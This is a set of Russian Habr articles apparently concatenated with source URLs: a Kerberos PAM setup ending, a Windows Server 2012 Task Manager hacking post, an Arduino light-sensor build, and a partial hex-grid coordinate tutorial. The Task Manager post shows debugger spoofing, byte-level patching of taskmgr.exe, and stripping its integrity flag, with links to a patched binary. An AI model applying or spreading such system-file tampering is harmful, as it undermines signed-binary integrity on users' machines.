Ранее при настройке клиентской машины мы поставили пакет libpam-krb5. Он поможет нам выполнить аутентификацию в Kerberos при входе в систему, а также в приложениях, использующих системную аутентификацию (например login, lightdm и проч.). Для подключения модуля PAM достаточно выполнить команду
```
$ sudo pam-auth-update
```
и выбрать в диалоге необходимые модули аутентификации. Для более тонкой настройки можно заглянуть в файл /etc/pam.d/common-auth и отредактировать его по желанию. Структуру файла я описывал в [предыдущей статье](http://habrahabr.ru/company/aktiv-company/blog/144700/).
Заключение
==========
Применение протокола Kerberos для централизованной аутентификации в связке с централизованным созданием хранением и раздачей учетных записей (например, посредством каталога на базе OpenLDAP) позволяет создать «домен UNIX», полностью состоящий из машин под управлением свободного программного обеспечения. Такое решение может применяться в корпоративном секторе, а аутентификация по смарт-картам будет приятным бонусом как для администраторов, так и для пользователей сети компании.
Полезные ссылки
===============
* [Описание протокола Kerberos](http://en.wikipedia.org/wiki/Kerberos_(protocol))
* [Официальная документация](http://web.mit.edu/kerberos/www/krb5-1.2/krb5-1.2.6/doc/admin_toc.html)
* [Инструкция по настройке от сообщества Ubuntu](https://help.ubuntu.com/community/Kerberos)
* [Настройка PKINIT](http://k5wiki.kerberos.org/wiki/Pkinit_configuration) | https://habr.com/ru/post/170829/ | null | ru | null |
# Странное поведение Task Manager в Windows Server 2012
Краткое содержание: история в картинках, как я «улучшал» Task Manager в Windows Server 2012
#### Преамбула
Началось всё с того, что я в тестовых целях (выяснить, есть ли принципиальное различие), поставил [Windows Server 2012](http://www.microsoft.com/en-us/server-cloud/windows-server/). Для тех, кто не знает, это такая [Windows 8](http://windows.microsoft.com/en-US/windows-8/meet), только дороже. Ну, а ещё, от него можно [оторвать GUI](http://msdn.microsoft.com/en-us/library/windows/desktop/hh846323(v=vs.85).aspx) и поставить всякие разные роли.
Ну так вот, одна из наиболее приятных вещей в Windows 8 для меня — новый Таск Менеджер, и красивый и удобный. Какое же было моё удивление, когда я открыл его в WinServer 2012 и не увидел некоторых данных.
Вот пара картинок для понятности.
Windows 8:
Windows Server 2012
Как видно, не хватает пары вкладок, кроме того, отсутствуют столбцы с диском и сетью. Диск ещё отсутствут на вкладке Performance, но это хотя бы можно включить командой:
`diskperf -y`
Вооружившись гуглом, я выяснил, что проблема в следующем:
> This is because disk metrics are disabled by default on Windows Server 2012 because of significant performance impact, however, it is enabled in Windows 8.Use Resource Monitor to gauge Disk and Network IO usage. *— Syed Yusuf from Microsoft R&D*
([тут подробнее](http://blogs.technet.com/b/askperf/archive/2012/10/27/windows-8-windows-server-2012-the-new-task-manager.aspx))
Что в переводе на русский звучит как *«слишком большая нагрузка на диск, поэтому мы это убрали».*
Так и представляю картину: серверная, все бегают в мыле, сервер не отвечает, ужасающая нагрузка. И скромный админ в углу: *«я случайно открыл таск менеджер на сервере вместо своего нетбука, я больше не буууду!».*
То есть, по мнению Microsoft на могучих серверах это вызывает огромную нагрузку, но при этом на планшетах совершенно не вызывает проблем, поэтому там уберём, тут включим. При том, что на серверах таск менеджер запускается раз в полгода, как раз, чтобы посмотреть на проблемы с производительностью, а нам убирают данную возможность по какой-то странной причине.
В общем, меня это не устроило, и я начал исследовать проблему.
#### Версия 1. Реестр
Зная Microsoft и то, что всё настраивается в реестре, я начал копать taskmgr.exe с целью найти возможные ключи. Единственный подходящий ключ обнаружился в
`HKLM\ System\CurrentControlSet\Services\Partmgr, EnableCounterForIoctl`
Но как я уже выяснил раньше, этот ключ включается командой diskperf и интереса не представляет.
#### Версия 2. Неужели действительно проверка на тип системы?
Совершенно не веря, что такое может быть (Microsoft обычно просто выпиливает лишние файлы), я решил проверить, а что будет, если сказать Таск Менеджеру, что он на самом деле на клиентской системе.
Чтобы проверить версию системы из своего приложения, нужно вызвать функцию [GetVersionEx](http://msdn.microsoft.com/en-us/library/windows/desktop/ms724451(v=vs.85).aspx). Вернётся структура [OSVERSIONINFOEX](http://msdn.microsoft.com/en-us/library/windows/desktop/ms724833(v=vs.85).aspx), где в поле dwProductType будет указано, сервеная или клиентская версия системы.
При этом, GetVersionEx вызывает RtlGetNtProductType, которая в регистре ecx возвращает 1 для клиентской и 3 для серверной. С неё-то и начнём.
Отладчиками под Windows я пользовался мало, поэтому выбрал единственный, с которым умею обращаться в данном случае, [WinDbg](http://msdn.microsoft.com/en-us/windows/hardware/gg463009.aspx) ([прямая ссылка](http://msdl.microsoft.com/download/symbols/debuggers/dbg_amd64_6.11.1.404.msi) на не самую свежую версию). Для него есть замечательная команда, которой можно сделать автоматический брекпоинт с заменой:
`bp ntdll!RtlGetNtProductType "as /x ReturnValue rcx; gu; ed ReturnValue 1; g"`
(т.е. открываем наш taskmgr.exe, выполняем команду, запускаем выполнение).
И… идея сработала. Все вкладки появились, да ещё и полностью рабочие. Т.е. функционально всё присутствует, а отключено только по политическим мотивам (могли бы по тем же мотивам их просто спрятать по умолчанию).
Соответственно, нужно копать дальше в данном направлении. Ставим бряк на ntdll!RtlGetNtProductType и смотрим по Call Stack, когда нас вызовет реальный taskmgr, а не инициализационные куски. Выглядит это примерно так:
Идём по стектрейсу ставим брекпоинт на TaskMgr (или доходим вручную) и видим следующий код:
Это проверка кода возврата, тут нам делать нечего, идём чуть дальше:
Вот он, самый сок!
Сравнивается регистр на 1 и на 3, и в зависимости от ситуации идёт переход на нужную ветку.
Ставим al в 1 и наблюдаем что всё успешно работает. Половина пути пройдена. Нужно думать над решениями, как это всё оформить на постоянной основе.
1. Можно сделать скрипт для WInDbg, который всё будет делать сам. Неспортивно
2. Пропатчить память перед запуском TaskMgr. Вариант пришлось отбросить, потому что я не знаю как это сделать, а разбираться долго.
3. Пропатчить сам taskmgr.exe. Самый простой вариант, только сломаем целостность файла и система может периодически его возвращать к старой версии. Но решил, что с этим можно прожить и стал думать над этим вариантом
Итак, нам нужно заменить данный код. Способов заменить его множество: сравнить al не с 1, а с 3, заменить jne, на je, изменить адрес джампа. В общем, я выбрал самый дубовый способ, заменить jne на пару nop'ов. Так что в результате, будет бессмысленное сравнение, затем прыжок куда надо. Делается это просто. Запоминаем нужную последовательность байт: 8a84244a0100003с01, находим её в вашем любимом Hex-редакторе и меняем на что надо. В данном случае 750c на 9090.
Сохраняем и…
Выясням, что мы сломали цифровую подпись файла (ну, кто бы сомневался). Значит её надо убить. Вариантов много, но мы на хабре, поэтому воспользуемся программой [design](http://habrahabr.ru/post/104333/#comment_3274493) от хабраюзера [DnV](https://habr.com/users/dnv/).
Запускаем… и ничего. Те же проблемы с повреждённой подписью. Откуда он её берёт? Не буду утомлять рассказом про то, как я пытался с этим разобраться, подписывал файл самостоятельно, готов был бросить всё это дело, а оказалось…
(это скриншот из программы [Stud\_PE](http://www.cgsoftlabs.ro/studpe.html)).
Заценили шутку от Microsoft? Целостность файла проверяется флагом в **самом** файле. Тайный смысл этого мне не понять, если только защита от глупых вирусов.
Как я дошёл до этого флага, сам не понимаю, но в общем, снимаем его, сохраняем, и… **всё работает!**
После этого заменяем оригинальный (не забывая раздать себе права на это действие), и пользуемся продвинутым Таск Менеджером.
Ну и бонусом пишем статью на хабр :) Надеюсь, что вам она была интересна.
Если кто захочет повторить в образовательных целях, то для проверки корректности результата вот вам [файл](http://ufims.com/gyDHy/Taskmgr.zip).
**UPDATE 08.10.2018**
Пользователь [AJlex](https://habr.com/users/ajlex/) обновил [Taskmgr](https://yadi.sk/d/cyJeAw_CMHrpMw) | https://habr.com/ru/post/160161/ | null | ru | null |
# Подключение сенсора освещения от Mac Book Pro к Arduino
Сегодня я хотел бы вам рассказать как я подключил датчик освещенности от мак бук про к ардуино. На самом деле все просто. Главное — немного усидчивости.
Запасная часть у меня оказалась случайно, я выпросил убитый ноутбук MAC book pro 15`, в котором не хватало большей части запчастей, у своих коллег, (они имели на него виды в качестве мишени для тира) не помню, что конкретно мне от него понадобилось кажется кнопки для замены клавиатуры на ноуте моей супруги, но среди всего прочего – полезного я нашел датчик освещения. Построен он на фото диоде – сенсоре для видимого света от SHARP BS520 а также на усилителе от MAXIM MAX4231. Очень маленькая и компактная конструкция, сложно было понять что к чему из за обилия мелких деталей и почти не просматриваемой дорожки.
#### Реверс-инженеринг
Первым делом я погуглил и нашел кучу упоминаний об этом модуле от мака, но о том какой провод куда идет – история умалчивает. Также, согласно спецификации на микросхему питается она от 6 ножки, и не оставило труда, методом исключения и с помощью мультиметра понять какой провод к чему идет.
Первым делом я отрезал старый коннектор и припаял к нему монтажную линейку.
Я подключил к монтажной плате +5В от ардуино, там же я взял землю. Развел питание на плате и подключил к нему наш датчик. Аналоговый сигнал забирается с порта вывода номер A0.
Также, для наглядности я использовал светодиод от мертвого контроллера переносного винчестера. Если значение опустится ниже чем 500 – он загорается. Получилась простая сборка: сенсор – исполнитель. Когда темно к комнате горит ночник, значит значение счетчика ниже чем 500. Если более – светодиод гаснет. Резистор к светодиоду не нужен если он подключен через 13 порт, но я нарочно использовал 12 порт и поместил резистор на 220Ом.
В итоге я написал такой элементарный скрипт:
`void setup()
{
// Установливаем аналоговый порт А0 на вход
pinMode (A0, INPUT);
// Устанавливаем коммуникацию с портом
Serial.begin(9600);
}
void loop()
{
// Записываем значение с датчика
int val = analogRead(A0);
// Условия загорания Led
digitalWrite(12, (val<500)?HIGH:LOW);
// Выводим в порт данные
Serial.println(val);
// Задержка между циклами
delay(500);
}`
А вот так это все выглядит схематически:
#### Выводы
В итоге моих изысканий я научился:
1. Разбирать мак и собирать его назад, правда сомнительное умение – он уже устарел.
2. Понял, что оказывается техника МАК – это просто грамотно собранное решение а не предмет культа. (Да простят меня маководы за такие эксперименты над маком)
3. Я начал заниматься электроникой несколько недель назад, поэтому думаю, что проект будет также полезен для новичка.
#### Ссылки на доки и сенсор
[Сам сенсор](http://www.powerbookmedic.com/MacBook-Pro-15-Ambient-Light-Sensor-Board-with-Cable-p-17298.html)
[Микросхема MAXIM MAX4233ABC-T](http://www.digchip.com/datasheets/parts/datasheet/280/MAX4233ABC-T-pdf.phphttp://)
[Фотодиод Sharp](http://pdf1.alldatasheet.com/datasheet-pdf/view/42647/SHARP/BS520.html)
[Офф сайт Arduino](http://arduino.cc/)
#### Дальнейшие планы
Заинтересовала камера, встроенная в монитор. Она построена на микросхеме, у которой куча полезных интерфейсов, включая I2C и USB, аппаратный кодек JPEG и аудио кодек. Но это уже совсем иная история.
Итак на сегодня все, до встречи.
P.S. Благодарю за Инвайт, НЛО!
UPD: По вопросу [Ocelot](https://geektimes.ru/users/ocelot/). Видимо, я сравнивал один и тот же сигнал с фильтром, прошу прощения за неточную информацию. Третий от питания провод судя по всему просто не используется, для проверки я подал питание на сенсор, соединил два провода с двумя каналами осциллографа и сравнил сигнал. Вот что у меня получилось:
1: прижал датчик пальцами в полу-мраке (будем считать что сигнал отсутствует)
2: помехи от прикосновения кожи пальца к контактам датчика, свет включается и выключается
3: переход от полумрака к яркому свету
4: режим яркого света
Как видно из осциллограммы — желтый сигнал с провода (тот что рядом с землей) не несет никакой информации. Ну, или как то используется, для приема управляющего сигнала. Можно попробовать прозвонить — посмотреть с каким выводом микросхемы соединен. Но факт остается фактом — сенсор можно использовать как датчик освещенности для любого DIY проекта. | https://habr.com/ru/post/144685/ | null | ru | null |
# Создание сеток шестиугольников
Сетки из шестиугольников (гексагональные сетки) используются в некоторых играх, но они не так просты и распространены, как сетки прямоугольников. Я [коллекционирую ресурсы о сетках шестиугольников](http://www-cs-students.stanford.edu/~amitp/gameprog.html#hex) уже почти 20 лет, и написал это руководство по самым элегантным подходам, реализуемым в простейшем коде. В статье часто используются руководства Чарльза Фу ([Charles Fu](http://www-cs-students.stanford.edu/~amitp/Articles/Hexagon2.html)) и Кларка Вербрюгге ([Clark Verbrugge](http://www-cs-students.stanford.edu/~amitp/Articles/HexLOS.html)). Я опишу различные способы создания сеток шестиугольников, их взаимосвязь, а также самые общие алгоритмы. Многие части этой статьи интерактивны: выбор типа сетки изменяет соответствующие схемы, код и тексты. *(Прим. пер.: это относится только к оригиналу, советую его изучить. В переводе вся информация оригинала сохранена, но без интерактивности.)*.
Примеры кода в статье написаны псевдокодом, так их легче читать и понимать, чтобы написать свою реализацию.
Геометрия
---------
Шестиугольники — это шестигранные многоугольники. У правильных шестиугольников все стороны (грани) имеют одинаковую длину. Мы будем работать только с правильными шестиугольниками. Обычно в сетках шестиугольников используются горизонтальная (с острым верхом) и вертикальная (с плоским верхом) ориентации.
 
*Шестиугольники с плоским (слева) и острым (справа) верхом*
У шестиугольников по 6 граней. Каждая грань общая для двух шестиугольников. У шестиугольников по 6 угловых точек. Каждая угловая точка общая для трёх шестиугольников. Подробнее о центрах, гранях и угловых точках можно прочитать в [моей статье о частях сеток](http://www-cs-students.stanford.edu/~amitp/game-programming/grids/) (квадратах, шестиугольниках и треугольниках).
### Углы
В правильном шестиугольнике внутренние углы равны 120°. Есть шесть «клиньев», каждый из которых является равносторонним треугольником с внутренними углами 60°. Угловая точка *i* находится на расстоянии `(60° * i) + 30°`, на `size` единиц от центра `center`. В коде:
```
function hex_corner(center, size, i):
var angle_deg = 60 * i + 30
var angle_rad = PI / 180 * angle_deg
return Point(center.x + size * cos(angle_rad), center.y + size * sin(angle_rad))
```
Для заполнения шестиугольника нужно получить вершины многоугольника с `hex_corner(…, 0)` по `hex_corner(…, 5)`. Для отрисовки контура шестиугольника нужно использовать эти вершины, а затем нарисовать линию снова в `hex_corner(…, 0)`.
Разница между двумя ориентациями в том, что x и y меняются местами, что приводит к изменению углов: углы шестиугольников с плоским верхом равны 0°, 60°, 120°, 180°, 240°, 300°, а с острым верхом — 30°, 90°, 150°, 210°, 270°, 330°.
 
*Углы шестиугольников с плоским и острым верхом*
### Размер и расположение
Теперь мы хотим расположить несколько шестиугольников вместе. В горизонтальной ориентации высота шестиугольника `height = size * 2`. Вертикальное расстояние между соседними шестиугольниками `vert = height * 3/4`.
Ширина шестиугольника `width = sqrt(3)/2 * height`. Горизонтальное расстояние между соседними шестиугольниками `horiz = width`.
В некоторых играх для шестиугольников используется пиксель-арт, который не точно соответствует правильным шестиугольникам. Формулы углов и расположений, описанные в этом разделе, не будут совпадать с размерами таких шестиугольников. Остальная часть статьи, описывающая алгоритмы сеток шестиугольников, применима даже если шестиугольники немного растянуты или сжаты.
Системы координат
-----------------
Давайте приступим к сборке шестиугольников в сетку. В случае сеток квадратов существует только один очевидный способ сборки. Для шестиугольников же есть множество подходов. Я рекомендую использовать в качестве первичного представления кубические координаты. Осевые координаты или координаты смещений следует использовать для хранения карт и отображения координат для пользователя.
### Координаты смещений
Наиболее частый подход — смещение каждого последующего столбца или строки. Столбцы обозначаются `col` или `q`. Строки обозначаются `row` или `r`. Можно смещать нечётные или чётные столбцы/строки, поэтому у горизонтальных и вертикальных шестиугольников есть по два варианта.
*Горизонтальное расположение «нечет-r»*
*Горизонтальное расположение «чёт-r»*
*Вертикальное расположение «нечет-q»*
*Вертикальное расположение «чёт-q»*
### Кубические координаты
Ещё один способ рассмотрения сеток шестиугольников — видеть в них *три* основные оси, а не *две*, как в сетках квадратов. В них проявляется элегантная симметрия.
Возьмём сетку кубов и **вырежем** диагональную плоскость в `x + y + z = 0`. Это странная мысль, но она поможет нам упростить алгоритмы сеток шестиугольников. В частности, мы сможем воспользоваться стандартными операциями из декартовых координат: суммированием и вычитанием координат, умножением и делением на скалярную величину, а также расстояниями.
Заметьте три основные оси на сетке кубов и их соотношение с шестью *диагональными* направлениями сетки шестиугольников. Диагональные оси сетки соответствуют основному направлению сетки шестиугольников.
*Шестиугольники*
*Кубы*
Поскольку у нас уже есть алгоритмы для сеток квадратов и кубов, использование кубических координат позволяет нам адаптировать эти алгоритмы под сетки шестиугольников. я буду использовать эту систему для большинства алгоритмов статьи. Для использования алгоритмов с другой системой координат я преобразую кубические координаты, выполню алгоритм, а затем преобразую их обратно.
Изучите, как кубические координаты работают для сетки шестиугольников. При выборе шестиугольников выделяются кубические координаты, соответствующие трём осям.
1. Каждое направление сетки кубов соответствует *линии* на сетке шестиугольников. Попробуйте выделить шестиугольник с `z`, равным 0, 1, 2, 3, чтобы увидеть связь. Строка отмечена синим. Попробуйте то же самое для `x` (зелёный) и `y` (сиреневый).
2. Каждое направление сетки шестиугольника — это сочетание двух направлений сетки кубов. Например, «север» сетки шестиугольников лежит между `+y` и `-z`, поэтому каждый шаг на «север» увеличивает `y` на 1 и уменьшает `z` на 1.
Кубические координаты — разумный выбор для системы координат сетки шестиугольников. Условием является `x + y + z = 0`, поэтому в алгоритмах оно должно сохраняться. Условие также гарантирует, что для каждого шестиугольника всегда будет каноническая координата.
Существует множество различных систем координат для кубов и шестиугольников. В некоторых из них условие отличается от `x + y + z = 0`. Я показал только одну из множества систем. Можно также создать кубические координаты с `x-y`, `y-z`, `z-x`, у которых будет свой набор интересных свойств, но я не буду их здесь рассматривать.
Но вы можете возразить, что не хотите хранить 3 числа для координат, потому что не знаете, как хранить карту в таком виде.
### Осевые координаты
Осевая система координат, иногда называемая «трапецеидальной», строится на основе двух или трёх координат из кубической системы координат. Поскольку у нас есть условие `x + y + z = 0`, третья координата не нужна. Осевые координаты полезны для хранения карт и отображения координат пользователю. Как и в случае с кубическими координатами, с ними можно использовать стандартные операции суммирования, вычитания, умножения и деления декартовых координат.
Существует множество кубических систем координат и множество осевых. В этом руководстве я не буду рассматривать все сочетания. Я выберу две переменные, `q` (столбец) и `r` (строка). В схемах этой статьи `q` соответствует `x`, а `r` соответствует `z`, но такое соответствие произвольно, потому что можно вращать и поворачивать схемы, получая различные соответствия.
Преимущество этой системы перед сетками смещений в большей понятности алгоритмов. Недостатком системы является то, что хранение прямоугольной карты выполняется немного странно; см. раздел о сохранении карт. Некоторые алгоритмы ещё понятнее в кубических координатах, но поскольку у нас есть условие `x + y + z = 0`, мы можем вычислить третью подразумеваемую координату и использовать её в этих алгоритмах. В своих проектах я называю оси `q`, `r`, `s`, поэтому условие выглядит как `q + r + s = 0`, и я, когда нужно, могу вычислить `s = -q - r`.
#### Оси
Координаты смещения — это первое, о чём думает большинство людей, потому что они совпадают со стандартными декартовыми координатами, используемыми для сеток квадратов. К сожалению, одна из двух осей должна проходить «против шерсти», и это в результате всё усложняет. Кубическая и осевая система идут «по шерсти» и у них более простые алгоритмы, но хранение карт немного более сложное. Существует ещё одна система, называемая «чередуемой» или «двойной», но здесь мы не будем её рассматривать; некоторые считают, что с ней проще работать, чем с кубической или осевой.
*Координаты смещения, кубические и осевые*
*Ось* — это направление, в котором соответствующая координата увеличивается. Перпендикуляр к оси — это линия, на которой координата остаётся постоянной. На схемах сеток выше показаны линии перпендикуляров.
Преобразование координат
------------------------
Вероятно, что вы будете использовать в своём проекте осевые координаты или координаты смещения, но многие алгоритмы проще выражаются в кубических координатах. Поэтому нам нужно уметь преобразовывать координаты между системами.
Осевые координаты близко связаны с кубическими, поэтому преобразование делается просто:
```
# преобразование кубических в осевые координаты
q = x
r = z
# преобразование осевых в кубические координаты
x = q
z = r
y = -x-z
```
В коде эти две функции могут быть записаны следующим образом:
```
function cube_to_hex(h): # осевая
var q = h.x
var r = h.z
return Hex(q, r)
function hex_to_cube(h): # кубическая
var x = h.q
var z = h.r
var y = -x-z
return Cube(x, y, z)
```
Координаты смещения совсем немного сложнее:
```
# преобразование кубических в смещение чёт-q
col = x
row = z + (x + (x&1)) / 2
# преобразование смещения чёт-q в кубические
x = col
z = row - (col + (col&1)) / 2
y = -x-z
# преобразование кубических в смещение нечет-q
col = x
row = z + (x - (x&1)) / 2
# преобразование смещения нечет-q в кубические
x = col
z = row - (col - (col&1)) / 2
y = -x-z
# преобразование кубических в смещение чёт-r
col = x + (z + (z&1)) / 2
row = z
# преобразование чёт-r в кубические
x = col - (row + (row&1)) / 2
z = row
y = -x-z
# преобразование кубических в нечет-r
col = x + (z - (z&1)) / 2
row = z
# преобразование нечет-r в кубические
x = col - (row - (row&1)) / 2
z = row
y = -x-z
```
Примечание о реализации: я использую a&1 ([побитовое «И»](https://ru.wikipedia.org/wiki/%D0%91%D0%B8%D1%82%D0%BE%D0%B2%D1%8B%D0%B5_%D0%BE%D0%BF%D0%B5%D1%80%D0%B0%D1%86%D0%B8%D0%B8#.D0.9F.D0.BE.D0.B1.D0.B8.D1.82.D0.BE.D0.B2.D0.BE.D0.B5_.C2.AB.D0.98.C2.BB_.28AND.29)) вместо a%2 ([деления с остатком](https://ru.wikipedia.org/wiki/%D0%94%D0%B5%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5_%D1%81_%D0%BE%D1%81%D1%82%D0%B0%D1%82%D0%BA%D0%BE%D0%BC)) для определения, является ли число чётным (0) или нечётным (1). Подробное описание см. [на странице примечаний к моей реализации](http://www.redblobgames.com/grids/hexagons/implementation.html#offset).
Соседние шестиугольники
-----------------------
Дан один шестиугольник, с какими шестью шестиугольниками он находится рядом? Как и можно ожидать, легче всего дать ответ в кубических координатах, довольно просто в осевых координатах, и немного сложнее в координатах смещения. Также может потребоваться рассчитать шесть «диагональных» шестиугольников.
### Кубические координаты
Перемещение на одно пространство в координатах шестиугольников приводит к изменению одной из трёх кубических координат на +1 и другой на -1 (сумма должна оставаться равной 0). На +1 могут изменяться три возможных координаты, а на -1 — оставшиеся две. Это даёт нам шесть возможных изменений. Каждое соответствует одному из направлений шестиугольника. Простейший и быстрейший способ — предварительно вычислить изменения и поместить их в таблицу кубических координат `Cube(dx, dy, dz)` во время компиляции:
```
var directions = [
Cube(+1, -1, 0), Cube(+1, 0, -1), Cube( 0, +1, -1),
Cube(-1, +1, 0), Cube(-1, 0, +1), Cube( 0, -1, +1)
]
function cube_direction(direction):
return directions[direction]
function cube_neighbor(hex, direction):
return cube_add(hex, cube_direction(direction))
```
### Осевые координаты
Как и раньше, мы используем для начала кубическую систему. Возьмём таблицу `Cube(dx, dy, dz)` и преобразуем в таблицу `Hex(dq, dr)`:
```
var directions = [
Hex(+1, 0), Hex(+1, -1), Hex( 0, -1),
Hex(-1, 0), Hex(-1, +1), Hex( 0, +1)
]
function hex_direction(direction):
return directions[direction]
function hex_neighbor(hex, direction):
var dir = hex_direction(direction)
return Hex(hex.q + dir.q, hex.r + dir.r)
```
### Координаты смещения
В осевых координатах мы вносим изменения в зависимости от того, в каком месте сетки находимся. Если мы в столбце/строке смещения, то правило отличается от случая столбца/строки без смещения.
Как и раньше, мы создаём таблицу чисел, которые нужно прибавить к `col` and `row`. Однако на этот раз у нас будет два массива, один для нечётных столбцов/строк, а другой — для чётных. Посмотрите на `(1,1)` на рисунке карты сетки выше и заметьте, как меняются `col` и `row` меняются при перемещении в каждом из шести направлений. Теперь повторим процесс для `(2,2)`. Таблицы и код будут разными для каждого из четырёх типов сеток смещений, приводим соответствующий код для каждого типа сетки.
**Нечет-r**
```
var directions = [
[ Hex(+1, 0), Hex( 0, -1), Hex(-1, -1),
Hex(-1, 0), Hex(-1, +1), Hex( 0, +1) ],
[ Hex(+1, 0), Hex(+1, -1), Hex( 0, -1),
Hex(-1, 0), Hex( 0, +1), Hex(+1, +1) ]
]
function offset_neighbor(hex, direction):
var parity = hex.row & 1
var dir = directions[parity][direction]
return Hex(hex.col + dir.col, hex.row + dir.row)
```
*Сетка для чётной (EVEN) и нечётной (ODD) строк*
**Чёт-r**
```
var directions = [
[ Hex(+1, 0), Hex(+1, -1), Hex( 0, -1),
Hex(-1, 0), Hex( 0, +1), Hex(+1, +1) ],
[ Hex(+1, 0), Hex( 0, -1), Hex(-1, -1),
Hex(-1, 0), Hex(-1, +1), Hex( 0, +1) ]
]
function offset_neighbor(hex, direction):
var parity = hex.row & 1
var dir = directions[parity][direction]
return Hex(hex.col + dir.col, hex.row + dir.row)
```
*Сетка для чётной (EVEN) и нечётной (ODD) строк*
**Нечет-q**
```
var directions = [
[ Hex(+1, 0), Hex(+1, -1), Hex( 0, -1),
Hex(-1, -1), Hex(-1, 0), Hex( 0, +1) ],
[ Hex(+1, +1), Hex(+1, 0), Hex( 0, -1),
Hex(-1, 0), Hex(-1, +1), Hex( 0, +1) ]
]
function offset_neighbor(hex, direction):
var parity = hex.col & 1
var dir = directions[parity][direction]
return Hex(hex.col + dir.col, hex.row + dir.row)
```
*Сетка для чётного (EVEN) и нечётного (ODD) столбцов*
**Чёт-q**
```
var directions = [
[ Hex(+1, +1), Hex(+1, 0), Hex( 0, -1),
Hex(-1, 0), Hex(-1, +1), Hex( 0, +1) ],
[ Hex(+1, 0), Hex(+1, -1), Hex( 0, -1),
Hex(-1, -1), Hex(-1, 0), Hex( 0, +1) ]
]
function offset_neighbor(hex, direction):
var parity = hex.col & 1
var dir = directions[parity][direction]
return Hex(hex.col + dir.col, hex.row + dir.row)
```
*Сетка для чётного (EVEN) и нечётного (ODD) столбцов*
Использование вышеуказанных таблиц подстановки — это простейший способ вычисления соседей. Если вам интересно, можно также почитать об [извлечении этих чисел](http://www.redblobgames.com/grids/hexagons/derive-hex-neighbor-formula.html).
### Диагонали
Перемещение в «диагональном» пространстве в координатах шестиугольников изменяет одну из трёх кубических координат на ±2 и две другие на ∓1 (сумма должна оставаться равной 0).
```
var diagonals = [
Cube(+2, -1, -1), Cube(+1, +1, -2), Cube(-1, +2, -1),
Cube(-2, +1, +1), Cube(-1, -1, +2), Cube(+1, -2, +1)
]
function cube_diagonal_neighbor(hex, direction):
return cube_add(hex, diagonals[direction])
```
Как и раньше, мы можем преобразовать эти координаты в осевые, откинув одну из трёх координат, или преобразовать в координаты смещения, предварительно вычислив результаты.
Расстояния
----------
### Кубические координаты
В кубической системе координат каждый шестиугольник является кубом в трёхмерном пространстве. Соседние шестиугольники находятся в сетке шестиугольников на расстоянии 1 друг от друга, но на расстоянии 2 в сетке кубов. Это делает расчёт расстояний простым. В сетке квадратов [манхэттенские расстояния](https://ru.wikipedia.org/wiki/%D0%A0%D0%B0%D1%81%D1%81%D1%82%D0%BE%D1%8F%D0%BD%D0%B8%D0%B5_%D0%B3%D0%BE%D1%80%D0%BE%D0%B4%D1%81%D0%BA%D0%B8%D1%85_%D0%BA%D0%B2%D0%B0%D1%80%D1%82%D0%B0%D0%BB%D0%BE%D0%B2) равны `abs(dx) + abs(dy)`. В сетке кубов манхэттенские расстояния равны `abs(dx) + abs(dy) + abs(dz)`. Расстояние в сетке шестиугольников равно их половине:
```
function cube_distance(a, b):
return (abs(a.x - b.x) + abs(a.y - b.y) + abs(a.z - b.z)) / 2
```
Эквивалентом этой записи будет выражение того, что одна из трёх координат должна быть суммой двух других, а затем получение её в качестве расстояния. Можно выбрать форму деления пополам или форму максимального значения, приведённую ниже, но они дают одинаковый результат:
```
function cube_distance(a, b):
return max(abs(a.x - b.x), abs(a.y - b.y), abs(a.z - b.z))
```
На рисунке максимальные значения выделены цветом. Заметьте также, что каждый цвет обозначает одно из шести «диагональных» направлений.
**GIF**
### Осевые координаты
В осевой системе третья координата выражена неявно. Давайте [преобразуем](http://www.redblobgames.com/grids/hexagons/#conversions) из осевой в кубическую систему для расчёта расстояния:
```
function hex_distance(a, b):
var ac = hex_to_cube(a)
var bc = hex_to_cube(b)
return cube_distance(ac, bc)
```
Если компилятор в вашем случае встраивает (inline) `hex_to_cube` и `cube_distance`, то он сгенерирует такой код:
```
function hex_distance(a, b):
return (abs(a.q - b.q)
+ abs(a.q + a.r - b.q - b.r)
+ abs(a.r - b.r)) / 2
```
Существует множество различных способов записи расстояний между шестиугольниками в осевых координатах, но вне зависимости от способа записи *расстояние между шестиугольниками в осевой системе извлекается из манхэттенского расстояния в кубической системе*. Например, описанная [здесь](http://3dmdesign.com/development/hexmap-coordinates-the-easy-way) «разность разностей» получается из записи `a.q + a.r - b.q - b.r` как `a.q - b.q + a.r - b.r` и с использованием формы максимального значения вместо формы деления пополам `cube_distance`. Все они аналогичны, если увидеть связь с кубическими координатами.
### Координаты смещения
Как и в случае с осевыми координатами, мы [преобразуем](http://www.redblobgames.com/grids/hexagons/#conversions) координаты смещения в кубические координаты, а затем используем расстояние кубической системы.
```
function offset_distance(a, b):
var ac = offset_to_cube(a)
var bc = offset_to_cube(b)
return cube_distance(ac, bc)
```
Мы будем использовать тот же шаблон для многих алгоритмов: преобразуем из шестиугольников в кубы, выполняем кубическую версию алгоритма и преобразуем кубические результаты в координаты шестиугольников (осевые или координаты смещения).
Отрисовка линий
---------------
Как нарисовать линию от одного шестиугольника до другого? Я использую [линейную интерполяцию для рисования линий](http://www.redblobgames.com/grids/line-drawing.html). Линия равномерно сэмплируется в `N+1` точках и вычисляется, в каких шестиугольниках находятся эти сэмплы.
**GIF**
1. Сначала мы вычисляем `N`, которое будет расстоянием в шестиугольниках между конечными точками.
2. Затем равномерно сэмплируем `N+1` точек между точками A и B. С помощью линейной интерполяции определяем, что для значений `i` от `0` до `N`, включая их, каждая точка будет `A + (B - A) * 1.0/N * i`. На рисунке эти контрольные точки показаны синим. В результате получаются координаты с плавающей запятой.
3. Преобразуем каждую контрольную точку (float) обратно в шестиугольники (int). Алгоритм называется `cube_round` (см. ниже).
Соединяем всё вместе для отрисовки линии от A до B:
```
function lerp(a, b, t): // для float
return a + (b - a) * t
function cube_lerp(a, b, t): // для шестиугольников
return Cube(lerp(a.x, b.x, t),
lerp(a.y, b.y, t),
lerp(a.z, b.z, t))
function cube_linedraw(a, b):
var N = cube_distance(a, b)
var results = []
for each 0 ≤ i ≤ N:
results.append(cube_round(cube_lerp(a, b, 1.0/N * i)))
return results
```
Примечания:
* Бывают случаи, когда `cube_lerp` возвращает точку, находящуюся точно на грани между двумя шестиугольниками. Затем `cube_round` сдвигает её в ту или иную сторону. Линии выглядят лучше, если их сдвигают в одном направлении. Это можно сделать, добавив «эпсилон»-шестиугольный `Cube(1e-6, 1e-6, -2e-6)` к одной или обеим конечным точкам перед началом цикла. Это «подтолкнёт» линию в одном направлении, чтобы она не попадала на границы граней.
